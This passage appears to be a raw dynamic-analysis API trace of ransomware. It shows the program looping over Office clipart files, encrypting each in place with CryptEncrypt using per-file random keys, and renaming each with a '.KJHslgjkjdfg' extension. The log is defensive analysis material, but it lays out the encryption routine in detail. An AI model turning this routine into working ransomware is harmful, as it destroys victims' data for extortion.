hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.284] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.284] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf40, lpOverlapped=0x0) returned 1 [0192.284] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40, dwBufLen=0xf40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40) returned 1 [0192.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.284] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf40, lpOverlapped=0x0) returned 1 [0192.284] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.285] SetEndOfFile (hFile=0x130) returned 1 [0192.287] GetProcessHeap () returned 0x990000 [0192.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.287] GetProcessHeap () returned 0x990000 [0192.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.kjhslgjkjdfg")) returned 1 [0192.289] CloseHandle (hObject=0x130) returned 1 [0192.289] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0192.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.291] GetProcessHeap () returned 0x990000 [0192.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.291] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0192.293] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.293] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.293] GetProcessHeap () returned 0x990000 [0192.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.293] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.293] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.293] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.294] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.294] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.294] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.294] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.294] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45be, lpOverlapped=0x0) returned 1 [0192.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0) returned 1 [0192.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.296] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x45c0, lpOverlapped=0x0) returned 1 [0192.296] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.296] SetEndOfFile (hFile=0x130) returned 1 [0192.299] GetProcessHeap () returned 0x990000 [0192.299] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.299] GetProcessHeap () returned 0x990000 [0192.299] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.kjhslgjkjdfg")) returned 1 [0192.300] CloseHandle (hObject=0x130) returned 1 [0192.300] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0192.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.301] GetProcessHeap () returned 0x990000 [0192.301] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.301] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0192.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.304] GetProcessHeap () returned 0x990000 [0192.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.304] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.304] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.304] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.304] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.304] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45be, lpOverlapped=0x0) returned 1 [0192.313] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45c0) returned 1 [0192.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.313] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x45c0, lpOverlapped=0x0) returned 1 [0192.314] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.314] SetEndOfFile (hFile=0x130) returned 1 [0192.316] GetProcessHeap () returned 0x990000 [0192.317] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.317] GetProcessHeap () returned 0x990000 [0192.317] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.kjhslgjkjdfg")) returned 1 [0192.318] CloseHandle (hObject=0x130) returned 1 [0192.318] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0192.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.320] GetProcessHeap () returned 0x990000 [0192.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.320] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.322] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.322] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.323] GetProcessHeap () returned 0x990000 [0192.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.323] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.323] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.323] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.323] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x133f8, lpOverlapped=0x0) returned 1 [0192.325] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13400, dwBufLen=0x13400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13400) returned 1 [0192.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.326] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13400, lpOverlapped=0x0) returned 1 [0192.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x134d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.327] SetEndOfFile (hFile=0x130) returned 1 [0192.330] GetProcessHeap () returned 0x990000 [0192.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.330] GetProcessHeap () returned 0x990000 [0192.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.kjhslgjkjdfg")) returned 1 [0192.332] CloseHandle (hObject=0x130) returned 1 [0192.332] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0192.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.333] GetProcessHeap () returned 0x990000 [0192.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.333] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.335] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.335] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.335] GetProcessHeap () returned 0x990000 [0192.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.336] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.336] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.336] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.336] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.336] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.336] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.336] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.336] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.336] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.338] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.338] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.339] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.339] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.339] SetEndOfFile (hFile=0x130) returned 1 [0192.342] GetProcessHeap () returned 0x990000 [0192.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 